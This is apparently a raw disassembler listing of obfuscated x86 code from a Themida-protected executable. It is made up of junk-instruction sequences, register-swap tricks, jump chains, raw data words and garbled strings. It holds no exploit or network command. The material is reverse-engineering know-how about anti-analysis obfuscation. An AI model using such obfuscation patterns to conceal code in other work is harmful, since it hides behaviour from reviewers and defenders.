		dd 1D70h, 981F2D40h, 0C3296FB0h, 5BDA0158h, 1D70E9h, 24148900h
		dd 3757E9h, 1FE95A00h, 5800001Dh, 0C005E1C0h, 0DFE904E1h
		dd 87FFFFF8h, 0F78147DFh, 0C0F87ADAh, 0D103E7C1h, 24F781E7h
		dd 0E919C19Fh, 437Ch, 242C895Ch, 0BE565D54h, 7EF62C02h
		dd 2C06F681h, 0CFE97EF6h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53B673:				; CODE XREF: Themida_:0053ACDBj
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		push	5BC9h
		mov	[esp], ecx
		jmp	loc_536DC2
; ---------------------------------------------------------------------------

loc_53B69E:				; CODE XREF: Themida_:00537E07j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_539B12
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 39AD0A0Bh
		sub	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_53D601
; ---------------------------------------------------------------------------
		dd 4C581h, 0EC830000h, 243C8904h, 2BFh,	6753E900h, 0F5810000h
		dd 0A0F8C12Ah, 15DEE01h, 1308E9D6h, 34FF0000h, 0C4815824h
		dd 4, 0E924048Fh, 0FFFFDF55h
; ---------------------------------------------------------------------------

loc_53B708:				; CODE XREF: Themida_:00542862j
		mov	[esp], ebx
		jmp	loc_53C112
; ---------------------------------------------------------------------------

loc_53B710:				; CODE XREF: Themida_:005389F7j
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 0FD02864h
		jmp	loc_53978B
; ---------------------------------------------------------------------------

loc_53B71F:				; CODE XREF: Themida_:005416ACj
		mov	[esp], ebx
		mov	ebx, 3E3D52F7h
		not	ebx
		sub	ebx, 0C1C2AD04h
		add	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 5BB00060h
		jmp	loc_53BE29
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0EBC094B3h, 5203E905h, 51660000h, 0B670E99Ch, 815FFFFFh
		dd 0F32D74C2h, 2434FF09h, 4C48159h, 33000000h, 14312414h
		dd 24143324h, 0AF0F665Ch, 0FFD4E9C8h, 0EF80FFFFh, 1643E9F4h
		dd 4BB0000h, 0E9000000h, 0E1Bh
; ---------------------------------------------------------------------------

loc_53B788:				; CODE XREF: Themida_:0053ACA6j
		pop	edx
		mov	ebx, [esp]
		jmp	loc_53E0E8
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 8B24048Fh, 44E92424h, 89FFFFEDh, 0F7485AD0h, 609E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B7AE:				; CODE XREF: Themida_:0053E083j
		add	esp, 4
		jmp	loc_53FD31
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 15A0000h, 24148BD3h,	8104C483h, 2C3h, 0AF8E900h, 0BD550000h
		dd 6B1264D3h, 4A2622B8h, 6C93E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53B7E2:				; CODE XREF: Themida_:0053CEBFj
		add	dword ptr [edx+30h], 185D6310h
		xor	dword ptr [edx+30h], 7E5E1821h
		push	ebp
		push	ecx
		mov	ecx, 29025575h
		mov	ebp, 0EE6108C6h
		add	ebp, ecx
		pop	ecx
		push	edx
		push	eax
		push	ebx
		mov	ebx, 7418103Ah
		jmp	loc_54044F
; ---------------------------------------------------------------------------

loc_53B80C:				; CODE XREF: Themida_:0053FF33j
		pop	edi
		inc	esi
		push	edi
		mov	edi, 0F487AA05h
		jmp	loc_53D635
; ---------------------------------------------------------------------------

loc_53B819:				; CODE XREF: Themida_:0053BB2Fj
		push	ebp
		push	ebx
		push	6AB169D2h
		pop	ebx
		add	ebx, 382036E4h
		xor	ebx, 332516C1h
		push	eax
		jmp	loc_53D771
; ---------------------------------------------------------------------------
aZSv		db '┤ЙИ╒',0
		dd 88500000h, 0ED18E9F0h, 0EE81FFFFh, 53E51FBFh, 24148B56h
		dd 0FFD4F6E9h, 242C89FFh, 0E71A8C68h, 0BE565D47h, 1FED0D91h
		dd 52E4E9h, 52BD5500h, 0F755B200h, 4D4545DDh, 121DE9h
		dd 0E95B00h, 53000000h,	0C3815B54h, 4, 0FFD6E1E9h, 24EA80FFh
		dd 7BC280h, 68515AD3h, 603Ch, 51241489h, 0D4E9C588h, 8100001Fh
		dd 0A73E5CEAh, 0BA5EE978h, 805AFFFFh, 49E9F4E9h, 1FFFFCEh
		dd 0D8EE81DEh, 5B7F311Dh, 8702C683h, 0D6E92434h, 80FFFFF9h
		dd 0EE2828EEh, 0FFB695E9h, 0E9D801FFh, 1DB6h, 0EA87D5F7h
		dd 13CDBF57h, 814F41BFh, 2F7B4BE7h, 0F7D78750h,	0E9D787D2h
		dd 61Fh, 0B5CC381h, 58E96D5Bh, 5AFFFFBDh, 2474FF51h, 0BD24E904h
		dd 0C531FFFFh, 73D5E958h, 4890000h, 0B4A4E924h,	0E95CFFFFh
		dd 409Eh
; ---------------------------------------------------------------------------

loc_53B924:				; CODE XREF: Themida_:0053754Cj
		push	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_538077
; ---------------------------------------------------------------------------

loc_53B936:				; CODE XREF: Themida_:0053D677j
		mov	esp, [esp]
		push	60E6h
		mov	[esp], ebx
		push	eax
		jmp	loc_53FA53
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 4C181h, 0C870000h, 0D58DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B95E:				; CODE XREF: Themida_:00541C0Aj
		xor	ch, 0C9h
		add	bl, ch
		mov	ecx, [esp]
		jmp	loc_538519
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 57000000h,	4BFh, 0F6C58100h, 156C64Eh, 0F6ED81FDh
		dd 5F56C64Eh, 31242C33h, 2C33242Ch, 4055C24h, 0E9000000h
		dd 0FFFFBF57h, 31242C33h, 2C33242Ch, 24248B24h,	24048B66h
		dd 8904EC83h, 25E9241Ch
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53B9B7:				; CODE XREF: Themida_:0053C9CEj
		mov	[esp], edx
		mov	edx, 6DD9647Dh
		push	ecx
		mov	ecx, 747255E7h
		jmp	loc_537897
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0BE9h, 4C28100h, 0E9000000h, 61Ah, 4C681h, 0C6810000h
		dd 2, 0E9243433h, 8E3h,	2130C181h, 0CF89103Ah, 227BE9h
		dd 5CBA5200h, 81776601h, 0C97F68F2h, 30F28140h,	137AF7Eh
		dd 24148BD1h, 4C481h, 0FFE90000h, 52FFFFBCh, 42474FFh
		dd 24048F5Ah, 0C8B665Ch, 7CA86824h, 2C890000h, 0E95D5424h
		dd 0FFFFFC90h, 4BAh, 611C2D00h,	8D050BBEh, 2D60D452h, 57265E24h
		dd 8713B22Dh, 21C0E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BA5E:				; CODE XREF: Themida_:0053C421j
		add	edi, esi
		jmp	loc_53F5F7
; ---------------------------------------------------------------------------
aSpu		db '^ИpU',0
		dw 0F600h
aP_0		db 'рP╢╩',0
		db 0E2h, 0E9h, 0C9h
		dd 33FFFFB5h, 248B2434h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 582434FFh, 53585450h, 0FFFCE1E9h, 2AC8B9FFh
		dd 0CF891AD4h, 0FFE01DE9h, 240C89FFh, 38B9h, 36C18100h
		dd 1153E03h, 99B850F9h,	2537F464h, 6F6843A7h, 4B2D4048h
		dd 2912223Dh, 24048BC1h, 4C481h, 1880000h, 81240C8Bh, 4ECh
		dd 24048900h, 405E089h,	83000000h, 9EE904C0h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53BAF3:				; CODE XREF: Themida_:00536EBEj
		mov	[esp], ebx
		jmp	loc_53C9C9
; ---------------------------------------------------------------------------
		db 68h
		dd 67B5357Dh, 0C7F0E95Ah, 90BAFFFFh, 814E7572h,	980D3CC2h
		dd 0C14A4A50h, 0C28106E2h, 4CB0865Ch, 15AD329h,	3947E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BB26:				; CODE XREF: Themida_:0053F508j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_53B819
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFB347h, 2B9h, 8BC80100h, 0C481240Ch
		dd 4, 31240433h, 4332404h, 24248B24h, 4AB0F66h,	5FE99C24h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53BB63:				; CODE XREF: Themida_:0053CE91j
		xchg	edi, [esp]
		jmp	loc_540083
; ---------------------------------------------------------------------------
		db 0D1h
		dd 1AEB81EBh, 892B088Dh, 7DE95BDFh, 100004Eh, 0B85058C5h
		dd 3D0A0085h, 283A6E25h, 2DD8F706h, 0FBF7FFF8h,	48BC501h
		dd 4C48324h, 0FFE613E9h, 0B220E9FFh, 6E68FFFFh,	89000052h
		dd 2BA2414h, 1000000h, 5DE95AD1h, 89000071h, 9C502414h
		dd 0FFDE59E9h, 99C781FFh, 81FB2BB2h, 0BD0F61EBh, 0E9FB014Bh
		dd 0FFFFE108h, 4C281h, 14870000h, 24248B24h, 6DEBBE56h
		dd 0E952146Ch, 6FAh, 42474FFh, 8124148Bh, 4C4h,	24048F00h
		dd 6624248Bh, 0E99CC885h, 0FFFFB1BAh, 0E902E0C1h, 3D3Ch
		dd 5FC36866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFB19Eh
		dd 88568h, 24148900h, 340968h, 24248900h, 4240481h, 5A000000h
		dd 416FBF57h, 0F78142C3h, 42C3416Bh, 0FFCA18E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53BC4D:				; CODE XREF: Themida_:0053E4F2j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_539C93
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4EC81h, 3C890000h, 0CA685124h, 5903100Dh,	226FF181h
		dd 56495D95h, 453F9FBEh, 6EEC162h, 3B5EF681h, 0F1295F0Ch
		dd 8324348Bh, 0CF8904C4h, 5E53E959h, 0E95F0000h, 0FFFFE80Fh
		dd 4BFh, 70BFE900h, 0D2F70000h,	0E902EAC1h, 0FFFFFBF3h
; ---------------------------------------------------------------------------

loc_53BCB0:				; CODE XREF: Themida_:0053CA8Dj
		mov	edx, 5A8240C6h
		sub	edx, 1
		not	edx
		and	edx, 0D7D10D2h
		and	edx, 1CE3964h
		push	ebp
		push	edi
		mov	edi, 5B3122A3h
		mov	ebp, 0F6D7ED50h
		add	ebp, edi
		pop	edi
		sub	ebp, 405B433Eh
		not	ebp
		inc	ebp
		add	ebp, 5D6E6F96h
		jmp	loc_539EFE
; ---------------------------------------------------------------------------

loc_53BCE9:				; CODE XREF: Themida_:0053C647j
		push	ebx
		mov	ebx, 4
		jmp	loc_53C3A3
; ---------------------------------------------------------------------------

loc_53BCF4:				; CODE XREF: Themida_:0053814Cj
		pop	ebp
		pop	ecx
		pop	edx
		jmp	loc_53E662
; ---------------------------------------------------------------------------

loc_53BCFC:				; CODE XREF: Themida_:0053C0E6j
		shr	edi, 5
		push	ecx
		push	edi
		mov	edi, 24563B31h
		jmp	loc_53D123
; ---------------------------------------------------------------------------

loc_53BD0B:				; CODE XREF: Themida_:0053AE05j
		pop	esi
		jmp	loc_53B35C
; ---------------------------------------------------------------------------

loc_53BD11:				; CODE XREF: Themida_:0053B446j
		pop	edi
		jmp	loc_53D50A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1662424h, 0E99C2404h, 0FFFFB09Eh
; ---------------------------------------------------------------------------

loc_53BD24:				; CODE XREF: Themida_:0053CF05j
		push	0FE0h
		mov	[esp], esi
		mov	esi, 19121367h
		jmp	loc_53A033
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 242C8924h, 172FFBBDh, 0CD814D7Fh, 349B6E8Fh,	0F369E953h
		dd 34FFFFFFh, 2434FF24h, 0BCCFE959h, 0EB81FFFFh, 7B8212Ch
		dd 136DEB81h, 0DF89F938h, 81241C8Bh, 4C4h, 3E01E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BD76:				; CODE XREF: Themida_:0053FD33j
		sub	bl, 0B2h
		sub	bl, 69h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 665152ACh, 88A7B050h, 0FE5866C5h, 0EE4BE9CDh, 0EB81FFFFh
		dd 34403E3Bh, 83242C8Bh, 0C6E904C4h, 0ADFFFFDFh, 0F2685051h
		dd 8B4D3455h, 61E92404h, 0F7FFFFEFh, 1C083D0h, 2166735h
		dd 58C78951h, 8C0CC781h, 96E9233Fh
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53BDCF:				; CODE XREF: Themida_:005384A4j
		pop	esp
		sub	[esp+4], ecx
		jmp	loc_53B161
; ---------------------------------------------------------------------------
aIthly		db '┴Бh╚y',0
		align 10h
		dd 0BD242C89h, 4, 4906C281h, 0C281193Dh, 532E30A0h, 0EA81EA01h
		dd 532E30A0h, 558FE9h, 8B666400h, 4EC8102h, 89000000h
		dd 0E6892434h, 119C68h,	243C8900h, 7E0A86BFh, 0BA524763h
		dd 2DEA27B8h, 326EE9h
		db 0
; ---------------------------------------------------------------------------

loc_53BE29:				; CODE XREF: Themida_:0053B738j
		sub	eax, 5BB0005Ch
		add	ecx, eax
		jmp	loc_53C6D6
; ---------------------------------------------------------------------------
		db 0BBh, 0BEh, 5Fh
		dd 0D4E9ACF7h, 0F7FFFFEDh, 7AFA68F1h, 14890000h, 0E99C5024h
		dd 440Dh, 0C6815E54h, 4, 6F9CB850h, 0BD550CB8h,	0F3479066h
		dd 2C8BE801h, 4C48124h,	81000000h, 0B85CA6C6h, 97EE814Dh
		dd 297D3523h, 97C681C6h, 817D3523h, 0B85CA6EEh,	24048B4Dh
		dd 273DE953h, 0EC810000h, 4, 0E9241489h, 6FB1h,	0C589555Ah
		dd 8B5DE989h, 89532404h, 4C381E3h, 0E9000000h, 0FFFFE603h
		dd 2833C180h, 0F00059C8h, 1DC9E9h, 242C8900h, 19DE9h, 240C3300h
		dd 86DE9h, 8EDC100h, 59E4C581h,	0ED8145DBh, 0DAC991EAh
		dd 0FF5DE801h, 81592434h, 4C4h,	55CE6800h, 0C890000h, 4A31B924h
		dd 0E9874F11h, 0FFB1ACE9h, 2434FFFFh, 5024048Bh, 4EC81h
		dd 4CE90000h, 81FFFFF4h, 0EB48A7CFh, 52DFF718h,	65820EBAh
		dd 5AD73189h, 0FFF106E9h, 95E58FFh, 34FF1C4Fh, 0C4835924h
		dd 0AE84E904h, 0EA81FFFFh, 51A17916h, 1E35E9h
		db 0
; ---------------------------------------------------------------------------

loc_53BF49:				; CODE XREF: Themida_:0053CCE7j
		sub	eax, 7AAD224Ah
		jmp	loc_538C98
; ---------------------------------------------------------------------------

loc_53BF53:				; CODE XREF: Themida_:0053861Bj
		or	ecx, 60FA1CC8h
		add	ecx, 0BFA32A0Dh
		or	edi, ecx
		pop	ecx
		sub	edi, 0EFA9861Eh
		sub	eax, edi
		pop	edi
		push	ecx
		sub	esp, 4
		jmp	loc_540D4D
; ---------------------------------------------------------------------------

loc_53BF74:				; CODE XREF: Themida_:0053DB47j
		mov	edx, [esp]
		add	esp, 4
		neg	edx
		add	edx, 0D611A75Eh
		mov	edi, edx
		pop	edx
		add	ebx, edi
		pop	edi
		push	esi
		mov	esi, 298E2479h
		add	edx, esi
		pop	esi
		sub	edx, 1644947h
		sub	edx, eax
		push	eax
		mov	eax, 1644947h
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_537FD8
; ---------------------------------------------------------------------------
		db 80h
		dd 0F588B7C6h, 66EB005Ah, 42E95259h, 1000059h, 98C381D3h
		dd 5A71EA03h, 31241C33h, 1C33241Ch, 4215C24h, 0E3E99C24h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53BFDF:				; CODE XREF: Themida_:00539B2Dj
		inc	ecx
		sub	ecx, 0D6A58245h
		mov	ebp, ecx
		pop	ecx
		sub	[esp+4], ebp
		jmp	loc_53F704
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 0C349E904h, 0E951FFFFh, 4501h, 0E9241489h, 4ADDh, 5B66FE08h
		dd 66ACB753h, 0A9B45052h, 0FE05E4C0h, 0E0C480CCh, 881AEC80h
		dd 0C28058E2h, 5945E9B4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C02A:				; CODE XREF: Themida_:0053934Fj
		add	ebx, 5CE363B4h
		jmp	loc_54129E
; ---------------------------------------------------------------------------
		align 2
		dw 80D3h
		dd 5A666BEBh, 0E97BC380h, 486h,	7680C581h, 2EE9613Fh, 1FFFFB0h
		dd 5F04247Ch, 3D240481h, 1027B35h, 2C812404h, 7B353D24h
		dd 572AE902h, 0E5890000h, 2C6B68h, 241C8900h, 4BBh, 59C58100h
		dd 0E910D365h, 0FFFFC909h, 2E93BD55h, 0EA016766h, 81C2295Dh
		dd 662E93EAh, 2DEA8167h, 58162616h, 8105E2C1h, 0D245C9CAh
		dd 0CA814259h, 27EF0EE2h, 2831E9h
		db 0
; ---------------------------------------------------------------------------

loc_53C0B1:				; CODE XREF: Themida_:00537F17j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_53F64C
; ---------------------------------------------------------------------------

loc_53C0BF:				; CODE XREF: Themida_:0053F9BDj
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	6E5Dh
		mov	[esp], ecx
		mov	ecx, 44AA22FAh
		add	ecx, 1DCB5B1Bh
		sub	ecx, 51C3587Bh
		mov	edi, ecx
		pop	ecx
		or	edi, 2A912A93h
		jmp	loc_53BCFC
; ---------------------------------------------------------------------------
		db 21h
		dd 0F28159CAh, 69799BDCh, 3238E9h, 240C8B00h, 0E904C483h
		dd 5C74h, 0E4C0C4B4h, 0FED4F603h, 331DE9C4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C112:				; CODE XREF: Themida_:0053B70Bj
		mov	ebx, 87774BCh
		jmp	loc_537EA8
; ---------------------------------------------------------------------------
		dd 0FEBFB151h, 0A9E180C9h, 0C0C6E980h, 0E9C007E9h, 0B4E98003h
		dd 0E959CB00h, 0FFFFE927h, 0E9240C8Bh, 1E8Bh, 2851EB80h
		dd 29E95BD9h, 8900003Dh, 2BF243Ch, 8979ED02h, 0BB535FF9h
		dd 6B4C2EADh, 1C8BD829h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 8B243C87h, 0DBE92424h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_53C17B:				; CODE XREF: Themida_:005388ACj
		add	ebx, eax
		jmp	loc_53B098
; ---------------------------------------------------------------------------
		dw 5D58h
		dd 681EE9h, 148B6600h, 3FE96824h, 3C890000h, 0E95F5424h
		dd 0FFFFF6C9h, 4026C681h, 0F729E810h, 8324348Bh, 91E904C4h
		dd 56FFFFBBh, 11240481h, 0E9023A62h, 0FFFFC97Ch, 6804C483h
		dd 2041h, 0E9242C89h, 0FFFFCFFFh, 10F2C181h, 0C10164C0h
		dd 10F2E981h, 0C18164C0h, 35146B64h, 74FF5158h,	0C8B0424h
		dd 110DE924h, 0E9810000h, 1B73656Dh, 5D2434FFh,	8704C483h
		dd 0D35C240Ch, 0E99C2424h, 0FFFFAD5Dh
; ---------------------------------------------------------------------------

loc_53C208:				; CODE XREF: Themida_:00542E7Cj
		add	dword ptr [esp], 7697646h
		mov	eax, [esp]
		push	4C20h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5398CA
; ---------------------------------------------------------------------------

loc_53C221:				; CODE XREF: Themida_:00539ED6j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_53F08F
; ---------------------------------------------------------------------------
		db 29h,	0EBh, 81h
		dd 9D319AEBh, 1C875D63h, 0DBE95C24h, 53000044h,	0D472E1BBh
		dd 81D3F755h, 4A6691F3h, 0C626E97Dh, 2F05FFFFh,	0E954AB2Eh
		dd 6681h
; ---------------------------------------------------------------------------

loc_53C260:				; CODE XREF: Themida_:005380F5j
		push	eax
		mov	eax, 0CC79DE56h
		xor	ebp, eax
		pop	eax
		or	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		neg	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 67737C1Ah
		not	edi
		sub	edi, 17F54A30h
		shr	edi, 5
		neg	edi
		jmp	loc_53EAE2
; ---------------------------------------------------------------------------

loc_53C293:				; CODE XREF: Themida_:00538961j
		pop	ebx
		jmp	loc_53ADBA
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 0E2h
		dd 30E6EA80h, 0FBE95AD1h, 0B8000069h, 10E62521h, 0E958C329h
		dd 0AA1h, 1B7DC681h, 0B4E9BFFDh, 33000006h, 248B2414h
		dd 5D26E924h, 0FF530000h, 0FF042474h, 9EE92434h, 31FFFFF5h
		dd 47E92434h, 0B2000023h, 5609E923h, 7CBA0000h,	81371F39h
		dd 7C31E5F2h, 681CE948h, 0BF570000h, 4,	835FF801h, 52E904E8h
		dd 68FFFFC8h, 78827DF0h, 82140558h, 0C701877Dh,	582434FFh
		dd 0E904C483h, 41F3h, 0E930FF66h, 1780h, 2FF368h, 240C8900h
		dd 0FFFFBD55h, 4481FFFFh, 7D40424h, 6C290BC1h, 6C810424h
		dd 7D40424h, 595D0BC1h,	21B1E9h, 81C32900h, 0E27018EBh
		dd 0E9C38139h, 6847D925h, 4A54h, 2333E9h
		db 0
; ---------------------------------------------------------------------------

loc_53C369:				; CODE XREF: Themida_:0053CE2Ej
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_53B420
; ---------------------------------------------------------------------------

loc_53C378:				; CODE XREF: Themida_:00538441j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_53EDA2
; ---------------------------------------------------------------------------
		db 1
		dd 50E92DD8h, 530543E5h, 57211021h, 13C868h, 242C8900h
		dd 0BC7EAC68h, 24E95D44h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53C3A3:				; CODE XREF: Themida_:0053BCEFj
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 4D32E9h, 91E95A00h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53C3BF:				; CODE XREF: Themida_:0053B162j
		pop	ebx
		add	ebx, 55BA3190h
		push	ecx
		push	2612381Ah
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 1
		xor	ecx, 423E746Eh
		mov	[edi+20h], ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	368F6209h
		pop	ecx
		push	ebx
		mov	ebx, 7A274167h
		sub	ebx, 5F272A78h
		dec	ebx
		shr	ebx, 4
		add	ebx, 191E0E2Bh
		sub	ebx, 0E4B3EFBEh
		xor	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ecx, eax
		pop	eax
		push	ebx
		jmp	loc_538E33
; ---------------------------------------------------------------------------

loc_53C41B:				; CODE XREF: Themida_:00542B3Bj
		push	esi
		mov	esi, 1
		jmp	loc_53BA5E
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 3C105A95h, 56E1E9h, 18C38100h, 0E967F265h, 0FFFFC772h
		dd 0EDC0D5F6h, 7CED8006h, 0E2F580h, 0E10859ECh,	0FFF1E6E9h
		dd 33EA81FFh, 0E939E57Bh, 0FFFFD06Fh, 33242C31h, 248B242Ch
		dd 66F9F624h, 68CCB60Fh, 73FCh,	54241C89h, 0BEBA525Bh
		dd 0E972C90Ah, 562h
; ---------------------------------------------------------------------------

loc_53C480:				; CODE XREF: Themida_:005399DAj
		push	4EFEh
		mov	[esp], ebx
		push	ebx
		mov	ebx, 3B8D1C10h
		jmp	loc_53B316
; ---------------------------------------------------------------------------

loc_53C493:				; CODE XREF: Themida_:005395BBj
		mov	esi, [esp]
		jmp	loc_5383B2
; ---------------------------------------------------------------------------
		db 30h
		dd 0E95351D8h, 0FFFFCB1Ch, 6624248Bh, 2404BB0Fh, 0A910E99Ch
		dd 0DE68FFFFh, 0E9000024h, 0FFFFCD1Ch, 5C5868h,	48F5400h
		dd 0F9C8E924h, 0C300FFFFh, 817BEB80h, 2ECh, 4896600h, 80B25224h
		dd 6CE9CAFEh, 0FFFFFFC6h, 48B2434h, 0E1895124h,	4C181h
		dd 69E90000h, 33000017h, 815C240Ch, 4C2h, 2BF5700h, 1000000h
		dd 50BBE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C50E:				; CODE XREF: Themida_:0053D27Ej
		pop	edx
		push	ebp
		mov	ebp, 30E82E7Ch
		dec	ebp
		jmp	loc_5376C4
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C3h, 0B1685C24h, 0E9000000h, 0FFFFBBFFh
; ---------------------------------------------------------------------------

loc_53C52C:				; CODE XREF: Themida_:0053A3D5j
		add	esi, 0F9FFF9F0h
		and	eax, esi
		mov	esi, [esp]
		push	6F77h
		jmp	loc_537622
; ---------------------------------------------------------------------------

loc_53C541:				; CODE XREF: Themida_:0053A4D7j
		mov	[esp], esi
		mov	esi, 9DE6491h
		sub	esi, 1
		shl	esi, 8
		push	ebp
		mov	ebp, 54816374h
		jmp	loc_5398A1
; ---------------------------------------------------------------------------
		dw 0FD89h
		dd 0DAF5815Fh, 4554E318h, 6BD2F581h, 0F8E91A77h, 0B3000041h
		dd 66DE3040h, 0B753665Bh, 0FA8AE9E3h, 8966FFFFh, 0B5512414h
		dd 59EE88EBh, 0F3E9D6F6h, 68FFFFABh, 0AD6h, 81242489h
		dd 42404h, 13E90000h, 1000020h,	0BE565BD8h, 3B6D684Ah
		dd 1809C681h, 52507164h, 903553BAh, 3E2C10Fh, 0EFF28142h
		dd 0E960C62Bh, 0FFFFFE89h, 3A61BA52h, 0D1017A2Ch, 0BF57585Ah
		dd 2, 3C8BF901h, 4C48124h, 68000000h, 7CA4h, 0FF240C89h
		dd 59042474h, 5C24048Fh, 0E9595451h, 0FFFFA9D3h
; ---------------------------------------------------------------------------

loc_53C5FC:				; CODE XREF: Themida_:005421D9j
		sub	esp, 4
		jmp	loc_537D94
; ---------------------------------------------------------------------------
aRsx@		db 'RИ∙@',0
		dd 58C22100h, 3C90E9h, 0C8B5400h, 1325E924h, 88510000h
		dd 59EF88E5h, 5F90E9h, 74FF5300h, 8F5B0424h, 0E95C2404h
		dd 41B8h
; ---------------------------------------------------------------------------

loc_53C638:				; CODE XREF: Themida_:0053CAA7j
		push	edx
		mov	edx, 45005CEDh
		xor	edx, 45005CE9h
		add	edi, edx
		pop	edx
		jmp	loc_53BCE9
; ---------------------------------------------------------------------------
		dd 18E95351h, 88FFFFC6h, 88D4F6CCh, 805866E1h, 0C1805AC1h
		dd 8BCA88F5h, 0C481240Ch, 4, 0E902EAC0h, 0E38h,	0E9D830ACh
		dd 0FFFFB879h
; ---------------------------------------------------------------------------

loc_53C67C:				; CODE XREF: Themida_:0053E122j
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		not	ebx
		xchg	ebx, esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		push	6B4Ah
		mov	[esp], edx
		mov	edx, 5DED058Ch
		mov	esi, 5DED058Dh
		sub	esi, edx
		push	dword ptr [esp]
		jmp	loc_5380C4
; ---------------------------------------------------------------------------

loc_53C6AA:				; CODE XREF: Themida_:00537656j
		push	ecx
		jmp	loc_53D09A
; ---------------------------------------------------------------------------
		dd 6E67EABAh, 0D325E902h, 575DFFFFh, 2E9DE9h, 58E60800h
		dd 2848C680h, 28F3E9F0h, 0C4830000h, 674E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C6D6:				; CODE XREF: Themida_:0053BE30j
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, 20A90E6Dh
		dec	esi
		sub	esi, 4D054881h
		push	edx
		push	ebp
		mov	ebp, 0C171B4Ch
		jmp	loc_53D242
; ---------------------------------------------------------------------------
aS4		db ')кИ4-',0
		dw 8100h
		dd 4C4h, 8ABE5600h, 81255A26h, 230A01EBh, 50F3013Ah, 0FFE186E9h
		dd 241C31FFh, 8B241C33h, 34FF2424h, 0FDB5E924h,	3C8BFFFFh
		dd 4C48124h, 52000000h,	42474FFh, 1C42E95Ah, 0C310000h
		dd 5A94E924h, 0BF570000h, 28841D5Eh, 0EF81DFF7h, 977F69F0h
		dd 555FFA01h, 99521EBDh, 5DEA3163h, 0E7AC281h, 0E2C149C5h
		dd 6193E907h, 34310000h, 2434FF24h, 4C4835Fh, 0FFE1FAE9h
		dd 5BDE01FFh, 17CBC681h, 0EE296E18h, 17CBEE81h,	0DBE96E18h
		dd 8100005Dh, 800C8FF3h, 0FC84E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C7A2:				; CODE XREF: Themida_:0053ED83j
		sub	esp, 4
		jmp	loc_53DB19
; ---------------------------------------------------------------------------
